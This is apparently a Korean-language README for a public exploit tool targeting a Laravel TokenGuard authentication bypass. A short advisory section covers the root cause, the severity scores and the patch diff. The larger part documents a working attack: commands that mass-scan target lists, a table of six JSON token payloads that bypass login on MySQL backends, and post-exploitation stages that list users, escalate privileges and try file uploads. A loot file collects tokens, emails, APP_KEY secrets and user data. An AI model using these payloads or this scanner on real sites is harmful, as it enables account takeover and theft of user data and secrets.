
Laravel TokenGuard의 비문자열 API 자격 증명을 통한 인증 우회
문자열이 아닌 API 자격 증명을 통한 Laravel TokenGuard 인증 우회
Laravel Framework의 인증되지 않은 인증 우회 — TokenGuard API Guard
CVE-2026-114509는 Laravel Framework에 내장된 TokenGuard의 치명적인 인증 우회 취약점입니다.
MySQL 또는 MariaDB에서 표준 토큰 기반 API guard로 구성된 경우, 인증되지 않은 공격자가 조작된 비문자열 자격 증명(JSON 배열)을 제출하여 인증 조회가 의도하지 않은 기존 사용자와 일치하게 만들 수 있으며, 이를 통해 유효한 API 토큰을 전혀 모르는 상태로 전체 접근 권한을 획득합니다.
이는 영향을 받는 guard로 보호되는 모든 라우트에서 완전한 계정 탈취로 이어집니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| 영향받는 소프트웨어 | Laravel Framework (laravel/framework) |
| 영향받는 버전 | < 12.68.0 및 >= 13.0.0, < 13.29.0 |
| 유형 | 인증 우회 |
| CWE | CWE-287 — 부적절한 인증 |
| CWE | CWE-1287 — 지정된 입력 유형의 부적절한 검증 |
| CVSS 4.0 점수 | 9.2 / 10 — 치명적 |
| CVSS 벡터 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| 인증 | 필요 없음 (사전 인증) |
| 조건 | MySQL / MariaDB 백엔드 |
| 패치 | v12.68.0 / v13.29.0 |
| 지표 | 값 | 의미 |
|---|---|---|
| 공격 벡터 | 네트워크 | 인터넷을 통해 원격으로 악용 가능 |
| 공격 복잡도 | 낮음 | MySQL/MariaDB 외에 특별한 조건 없음 |
| 공격 요구 사항 | 존재 | MySQL/MariaDB의 타입 강제 변환 동작 필요 |
| 필요 권한 | 없음 | 인증 불필요 |
| 사용자 상호작용 | 없음 | 피해자의 조치 불필요 |
| 기밀성 | 높음 | 인증된 사용자 데이터에 대한 전체 읽기 접근 |
| 무결성 | 높음 | 우회된 사용자로서 데이터 수정 가능 |
| 가용성 | 높음 | 계정 탈취를 통해 서비스 중단 가능 |
이는 HTTP 요청 파싱, PHP 프레임워크 로직, SQL 데이터베이스 동작 사이의 경계에서 발생하는 타입 혼동 버그입니다. 세 가지 평범한 동작이 결합하여 취약점을 만들어냅니다:
TokenGuard가 비문자열 입력을 허용함 — TokenGuard.php의 user() 메서드는 is_string($token) && !empty($token) 대신 !empty($token)을 사용합니다. JSON 요청 본문은 토큰 값으로 배열이나 정수를 제공할 수 있습니다.
EloquentUserProvider가 WHERE IN 쿼리를 생성함 — retrieveByCredentials()가 배열 값을 받으면 WHERE api_token = ... 대신 WHERE api_token IN (...)을 생성합니다.
MySQL 타입 강제 변환 — MySQL은 비교를 위해 문자열 컬럼을 숫자로 변환합니다. 정수 0은 숫자로 시작하지 않는 모든 문자열(대부분의 API 토큰이 이에 해당)과 일치하는데, MySQL이 해당 문자열을 0.0으로 캐스팅하기 때문입니다.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel은 타입 검사를 추가하여 TokenGuard.php를 패치했습니다. 토큰이 문자열이 아니면 가드는 즉시 null을 반환하고 사용자 프로바이더를 호출하지 않습니다:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
이 도구는 대량 스캔과 단일 대상 심층 프로브의 두 가지 모드를 지원합니다.
취약점에 대해 대상 목록을 스캔합니다:
python CVE-2026-114509.py scan targets.txt
옵션:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| 플래그 | 기본값 | 설명 |
|---|---|---|
targets | (필수) | 대상 URL이 포함된 파일 (한 줄에 하나씩) |
--threads | 60 | 동시 스레드 수 |
--timeout | 12 | 요청 타임아웃 (초) |
대상 파일 형식 (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
스킴이 없는 대상은 기본적으로
https://로 설정됩니다.
출력 파일 (스크립트 디렉터리에 생성됨):
| 파일 | 내용 |
|---|---|
LV_DETECTED.txt | 탐지된 모든 Laravel 애플리케이션 |
LV_BYPASS.txt | 확인된 인증 우회 |
LV_UPLOAD.txt | 업로드 시도 결과 |
LV_LOOT.txt | 추출된 데이터 (토큰, 이메일, APP_KEY, 사용자 데이터) |
상세 출력과 함께 단일 대상에 대해 심층 프로브합니다:
python CVE-2026-114509.py single https://target.com
옵션:
python CVE-2026-114509.py single https://target.com --timeout 15
이것은 네 단계를 모두 순차적으로 실행하며 상세한 출력을 제공합니다:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401
Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
SUCCESS /api/user [POST] [api_token=[0]]
id: 1
name: Admin
email: [email protected]
api_token: wAWrHmHkVV...
Phase 3: Post-Exploitation...
users-list /api/users -> count=15
panel:nova /nova/api/dashboards
Phase 4: File Upload (52 routes)...
Summary:
Laravel: Yes (3 signals)
Bypass: Yes
Upload: 0 attempts, 0 verified
이 도구는 4단계 체인을 실행합니다:
| 단계 | 설명 | 세부 사항 |
|---|---|---|
| 1단계 | 🔍 Laravel 탐지 | 쿠키 핑거프린팅, .env 노출, API 엔드포인트 프로빙, 디버그 도구 |
| 2단계 | 🔓 인증 우회 | 14개 API 라우트 × 3개 토큰 키 × 6개 페이로드 = 대상당 252개 조합 |
| 3단계 | 📡 침투 후 활동 | 사용자 목록 조회, 권한 상승, 토큰 추출, 관리자 패널 탐색 |
| 4단계 | 📤 파일 업로드 | 멀티파트 업로드, 아바타 업데이트, JSON base64, 스토리지 PUT, Livewire, 서명된 URL |
| 페이로드 | 레이블 | 메커니즘 |
|---|---|---|
{"api_token": [0]} | [0] | 배열 → WHERE IN (0) → MySQL 형변환으로 모든 문자열 토큰과 일치 |
{"api_token": [0, ""]} | [0,''] | 더 넓은 일치 — 빈 토큰 엣지 케이스 포함 |
{"api_token": 0} | int:0 | 원시 정수 — 일부 구성 |
{"api_token": [null]} | [null] | 배열 내 null |
{"api_token": [false]} | [false] | 불리언 false 캐스트 |
{"api_token": true} | bool:true | 불리언 true — WHERE api_token = 1과 일치 |